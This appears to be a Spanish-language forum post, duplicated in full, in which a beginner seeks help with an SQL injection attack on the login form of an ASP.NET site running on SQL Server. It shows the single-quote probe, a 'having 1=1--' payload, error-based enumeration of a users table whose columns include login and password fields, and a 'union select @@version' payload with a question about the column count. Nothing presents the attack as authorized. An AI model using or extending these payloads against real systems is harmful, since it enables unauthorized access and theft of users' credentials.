bueno mi conocimiento es bien basico sobre sql, asi que disculpen algunos errores que pueda tener en mi explicacion.
en primer lugar la pagina esta desarrollada en asp.net bajo un IIS 6.0
una pagina de login con un simple formulario de login a password ok.
asi que no se si puediera introducir los datos desde la barra de dirrecciones como he visto muchos ejemplos, al moverse sobre esta pagina no muestra ninguna variacion en la barra de direcciones osea como ejemplo:
index.php?id=0
todo trabaja bajo el modo POST.
se que es vulnerable por que al introducir una simple comilla en el login me sale lo siguiente:
logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: Comilla no cerrada antes de la cadena de caracteres '' and usr_status = 1'.. 1429
con un 'having 1=1-- en el username me devuelve el nombre de un campo
que son los siguientes usando despues el 'group by sucesivamente
.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.agd_codigo' de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY.. 1429
.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.usr_login' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429
.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.usr_clave' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429
.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.usr_status' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429
.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.nvl_codigo' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429
.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.usr_codigo' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429
.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.usr_descripcion' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429
despues de todo esto me devuelve un error esto debe ser por es el ultimo campo no??
ahora donde me he quedado barado ha sido en el famoso.
'union select @@version,1,1,1,1,1,1 --
que deberia ser 7 no????
gracias.
en primer lugar la pagina esta desarrollada en asp.net bajo un IIS 6.0
una pagina de login con un simple formulario de login a password ok.
asi que no se si puediera introducir los datos desde la barra de dirrecciones como he visto muchos ejemplos, al moverse sobre esta pagina no muestra ninguna variacion en la barra de direcciones osea como ejemplo:
index.php?id=0
todo trabaja bajo el modo POST.
se que es vulnerable por que al introducir una simple comilla en el login me sale lo siguiente:
logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: Comilla no cerrada antes de la cadena de caracteres '' and usr_status = 1'.. 1429
con un 'having 1=1-- en el username me devuelve el nombre de un campo
que son los siguientes usando despues el 'group by sucesivamente
.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.agd_codigo' de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY.. 1429
.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.usr_login' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429
.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.usr_clave' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429
.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.usr_status' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429
.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.nvl_codigo' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429
.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.usr_codigo' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429
.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.usr_descripcion' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429
despues de todo esto me devuelve un error esto debe ser por es el ultimo campo no??
ahora donde me he quedado barado ha sido en el famoso.
'union select @@version,1,1,1,1,1,1 --
que deberia ser 7 no????
gracias.